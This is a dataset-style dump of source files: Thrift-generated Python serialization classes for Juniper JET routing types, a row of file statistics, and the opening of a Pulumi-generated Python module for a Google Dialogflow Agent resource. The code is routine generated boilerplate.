iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.name = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRouteTableName')
if self.name is not None:
oprot.writeFieldBegin('name', TType.STRING, 1)
oprot.writeString(self.name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRouteTableId:
"""
Attributes:
- id
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'id', None, None, ), # 1
)
def __init__(self, id=None,):
self.id = id
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.id = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRouteTableId')
if self.id is not None:
oprot.writeFieldBegin('id', TType.STRING, 1)
oprot.writeString(self.id)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RouteTableRtTableFormat:
"""
Attributes:
- rtt_id
- rtt_name
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'rtt_id', (RoutingRouteTableId, RoutingRouteTableId.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'rtt_name', (RoutingRouteTableName, RoutingRouteTableName.thrift_spec), None, ), # 2
)
def __init__(self, rtt_id=None, rtt_name=None,):
self.rtt_id = rtt_id
self.rtt_name = rtt_name
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.rtt_id = RoutingRouteTableId()
self.rtt_id.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.rtt_name = RoutingRouteTableName()
self.rtt_name.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RouteTableRtTableFormat')
if self.rtt_id is not None:
oprot.writeFieldBegin('rtt_id', TType.STRUCT, 1)
self.rtt_id.write(oprot)
oprot.writeFieldEnd()
if self.rtt_name is not None:
oprot.writeFieldBegin('rtt_name', TType.STRUCT, 2)
self.rtt_name.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRouteTable:
"""
Attributes:
- RtTableFormat
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'RtTableFormat', (RouteTableRtTableFormat, RouteTableRtTableFormat.thrift_spec), None, ), # 1
)
def __init__(self, RtTableFormat=None,):
self.RtTableFormat = RtTableFormat
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.RtTableFormat = RouteTableRtTableFormat()
self.RtTableFormat.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRouteTable')
if self.RtTableFormat is not None:
oprot.writeFieldBegin('RtTableFormat', TType.STRUCT, 1)
self.RtTableFormat.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRdType0:
"""
Attributes:
- as_number
- assigned_number
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'as_number', None, None, ), # 1
(2, TType.STRING, 'assigned_number', None, None, ), # 2
)
def __init__(self, as_number=None, assigned_number=None,):
self.as_number = as_number
self.assigned_number = assigned_number
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.as_number = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.assigned_number = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRdType0')
if self.as_number is not None:
oprot.writeFieldBegin('as_number', TType.STRING, 1)
oprot.writeString(self.as_number)
oprot.writeFieldEnd()
if self.assigned_number is not None:
oprot.writeFieldBegin('assigned_number', TType.STRING, 2)
oprot.writeString(self.assigned_number)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRdType1:
"""
Attributes:
- ip_address
- assigned_number
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'ip_address', (jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress, jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress.thrift_spec), None, ), # 1
(2, TType.STRING, 'assigned_number', None, None, ), # 2
)
def __init__(self, ip_address=None, assigned_number=None,):
self.ip_address = ip_address
self.assigned_number = assigned_number
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.ip_address = jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress()
self.ip_address.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.assigned_number = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRdType1')
if self.ip_address is not None:
oprot.writeFieldBegin('ip_address', TType.STRUCT, 1)
self.ip_address.write(oprot)
oprot.writeFieldEnd()
if self.assigned_number is not None:
oprot.writeFieldBegin('assigned_number', TType.STRING, 2)
oprot.writeString(self.assigned_number)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRdType2:
"""
Attributes:
- as_number
- assigned_number
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'as_number', None, None, ), # 1
(2, TType.STRING, 'assigned_number', None, None, ), # 2
)
def __init__(self, as_number=None, assigned_number=None,):
self.as_number = as_number
self.assigned_number = assigned_number
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.as_number = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.assigned_number = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRdType2')
if self.as_number is not None:
oprot.writeFieldBegin('as_number', TType.STRING, 1)
oprot.writeString(self.as_number)
oprot.writeFieldEnd()
if self.assigned_number is not None:
oprot.writeFieldBegin('assigned_number', TType.STRING, 2)
oprot.writeString(self.assigned_number)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RouteDistinguisherRdFormat:
"""
Attributes:
- rd0
- rd1
- rd2
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'rd0', (RoutingRdType0, RoutingRdType0.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'rd1', (RoutingRdType1, RoutingRdType1.thrift_spec), None, ), # 2
(3, TType.STRUCT, 'rd2', (RoutingRdType2, RoutingRdType2.thrift_spec), None, ), # 3
)
def __init__(self, rd0=None, rd1=None, rd2=None,):
self.rd0 = rd0
self.rd1 = rd1
self.rd2 = rd2
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.rd0 = RoutingRdType0()
self.rd0.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.rd1 = RoutingRdType1()
self.rd1.read(iprot)
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRUCT:
self.rd2 = RoutingRdType2()
self.rd2.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RouteDistinguisherRdFormat')
if self.rd0 is not None:
oprot.writeFieldBegin('rd0', TType.STRUCT, 1)
self.rd0.write(oprot)
oprot.writeFieldEnd()
if self.rd1 is not None:
oprot.writeFieldBegin('rd1', TType.STRUCT, 2)
self.rd1.write(oprot)
oprot.writeFieldEnd()
if self.rd2 is not None:
oprot.writeFieldBegin('rd2', TType.STRUCT, 3)
self.rd2.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRouteDistinguisher:
"""
Attributes:
- RdFormat
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'RdFormat', (RouteDistinguisherRdFormat, RouteDistinguisherRdFormat.thrift_spec), None, ), # 1
)
def __init__(self, RdFormat=None,):
self.RdFormat = RdFormat
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.RdFormat = RouteDistinguisherRdFormat()
self.RdFormat.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRouteDistinguisher')
if self.RdFormat is not None:
oprot.writeFieldBegin('RdFormat', TType.STRUCT, 1)
self.RdFormat.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingL3vpnAddress:
"""
Attributes:
- rd
- vpn_addr
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'rd', (RoutingRouteDistinguisher, RoutingRouteDistinguisher.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'vpn_addr', (jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress, jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress.thrift_spec), None, ), # 2
)
def __init__(self, rd=None, vpn_addr=None,):
self.rd = rd
self.vpn_addr = vpn_addr
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.rd = RoutingRouteDistinguisher()
self.rd.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.vpn_addr = jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress()
self.vpn_addr.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingL3vpnAddress')
if self.rd is not None:
oprot.writeFieldBegin('rd', TType.STRUCT, 1)
self.rd.write(oprot)
oprot.writeFieldEnd()
if self.vpn_addr is not None:
oprot.writeFieldBegin('vpn_addr', TType.STRUCT, 2)
self.vpn_addr.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutePrefixRoutePrefixAf:
"""
Attributes:
- inet
- inet6
- inetvpn
- inet6vpn
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'inet', (jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress, jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'inet6', (jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress, jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress.thrift_spec), None, ), # 2
(3, TType.STRUCT, 'inetvpn', (RoutingL3vpnAddress, RoutingL3vpnAddress.thrift_spec), None, ), # 3
(4, TType.STRUCT, 'inet6vpn', (RoutingL3vpnAddress, RoutingL3vpnAddress.thrift_spec), None, ), # 4
)
def __init__(self, inet=None, inet6=None, inetvpn=None, inet6vpn=None,):
self.inet = inet
self.inet6 = inet6
self.inetvpn = inetvpn
self.inet6vpn = inet6vpn
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.inet = jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress()
self.inet.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.inet6 = jnpr.jet.jnxBase_jnx_addr.ttypes.JnxBaseIpAddress()
self.inet6.read(iprot)
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRUCT:
self.inetvpn = RoutingL3vpnAddress()
self.inetvpn.read(iprot)
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRUCT:
self.inet6vpn = RoutingL3vpnAddress()
self.inet6vpn.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutePrefixRoutePrefixAf')
if self.inet is not None:
oprot.writeFieldBegin('inet', TType.STRUCT, 1)
self.inet.write(oprot)
oprot.writeFieldEnd()
if self.inet6 is not None:
oprot.writeFieldBegin('inet6', TType.STRUCT, 2)
self.inet6.write(oprot)
oprot.writeFieldEnd()
if self.inetvpn is not None:
oprot.writeFieldBegin('inetvpn', TType.STRUCT, 3)
self.inetvpn.write(oprot)
oprot.writeFieldEnd()
if self.inet6vpn is not None:
oprot.writeFieldBegin('inet6vpn', TType.STRUCT, 4)
self.inet6vpn.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RoutingRoutePrefix:
"""
Attributes:
- RoutePrefixAf
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'RoutePrefixAf', (RoutePrefixRoutePrefixAf, RoutePrefixRoutePrefixAf.thrift_spec), None, ), # 1
)
def __init__(self, RoutePrefixAf=None,):
self.RoutePrefixAf = RoutePrefixAf
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.RoutePrefixAf = RoutePrefixRoutePrefixAf()
self.RoutePrefixAf.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RoutingRoutePrefix')
if self.RoutePrefixAf is not None:
oprot.writeFieldBegin('RoutePrefixAf', TType.STRUCT, 1)
self.RoutePrefixAf.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
| 30.818864
| 188
| 0.662864
| 3,394
| 28,754
| 5.334708
| 0.044785
| 0.041423
| 0.034795
| 0.033801
| 0.823263
| 0.794046
| 0.763172
| 0.735668
| 0.725229
| 0.718712
| 0
| 0.009584
| 0.219796
| 28,754
| 932
| 189
| 30.851931
| 0.797495
| 0.020728
| 0
| 0.708049
| 1
| 0
| 0.035647
| 0.004259
| 0
| 0
| 0
| 0
| 0
| 1
| 0.114598
| false
| 0
| 0.006821
| 0.049113
| 0.279673
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
12a31b413096175ef7c81cf887753da52716db4d
| 51,065
|
py
|
Python
|
sdk/python/pulumi_gcp/diagflow/agent.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | 121
|
2018-06-18T19:16:42.000Z
|
2022-03-31T06:06:48.000Z
|
sdk/python/pulumi_gcp/diagflow/agent.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | 492
|
2018-06-22T19:41:03.000Z
|
2022-03-31T15:33:53.000Z
|
sdk/python/pulumi_gcp/diagflow/agent.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | 43
|
2018-06-19T01:43:13.000Z
|
2022-03-23T22:43:37.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['AgentArgs', 'Agent']
@pulumi.input_type
class AgentArgs:
def __init__(__self__, *,
default_language_code: pulumi.Input[str],
display_name: pulumi.Input[str],
time_zone: pulumi.Input[str],
api_version: Optional[pulumi.Input[str]] = None,
avatar_uri: Optional[pulumi.Input[str]] = None,
classification_threshold: Optional[pulumi.Input[float]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_logging: Optional[pulumi.Input[bool]] = None,
match_mode: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
supported_language_codes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
tier: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Agent resource.
:param pulumi.Input[str] default_language_code: The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
:param pulumi.Input[str] display_name: The name of this agent.
:param pulumi.Input[str] time_zone: The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
:param pulumi.Input[str] api_version: API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
:param pulumi.Input[str] avatar_uri: The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
:param pulumi.Input[float] classification_threshold: To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
:param pulumi.Input[str] description: The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
:param pulumi.Input[bool] enable_logging: Determines whether this agent should log conversation queries.
:param pulumi.Input[str] match_mode: Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[Sequence[pulumi.Input[str]]] supported_language_codes: The list of all languages supported by this agent (except for the defaultLanguageCode).
:param pulumi.Input[str] tier: The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
"""
pulumi.set(__self__, "default_language_code", default_language_code)
pulumi.set(__self__, "display_name", display_name)
pulumi.set(__self__, "time_zone", time_zone)
if api_version is not None:
pulumi.set(__self__, "api_version", api_version)
if avatar_uri is not None:
pulumi.set(__self__, "avatar_uri", avatar_uri)
if classification_threshold is not None:
pulumi.set(__self__, "classification_threshold", classification_threshold)
if description is not None:
pulumi.set(__self__, "description", description)
if enable_logging is not None:
pulumi.set(__self__, "enable_logging", enable_logging)
if match_mode is not None:
pulumi.set(__self__, "match_mode", match_mode)
if project is not None:
pulumi.set(__self__, "project", project)
if supported_language_codes is not None:
pulumi.set(__self__, "supported_language_codes", supported_language_codes)
if tier is not None:
pulumi.set(__self__, "tier", tier)
@property
@pulumi.getter(name="defaultLanguageCode")
def default_language_code(self) -> pulumi.Input[str]:
"""
The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
"""
return pulumi.get(self, "default_language_code")
@default_language_code.setter
def default_language_code(self, value: pulumi.Input[str]):
pulumi.set(self, "default_language_code", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Input[str]:
"""
The name of this agent.
"""
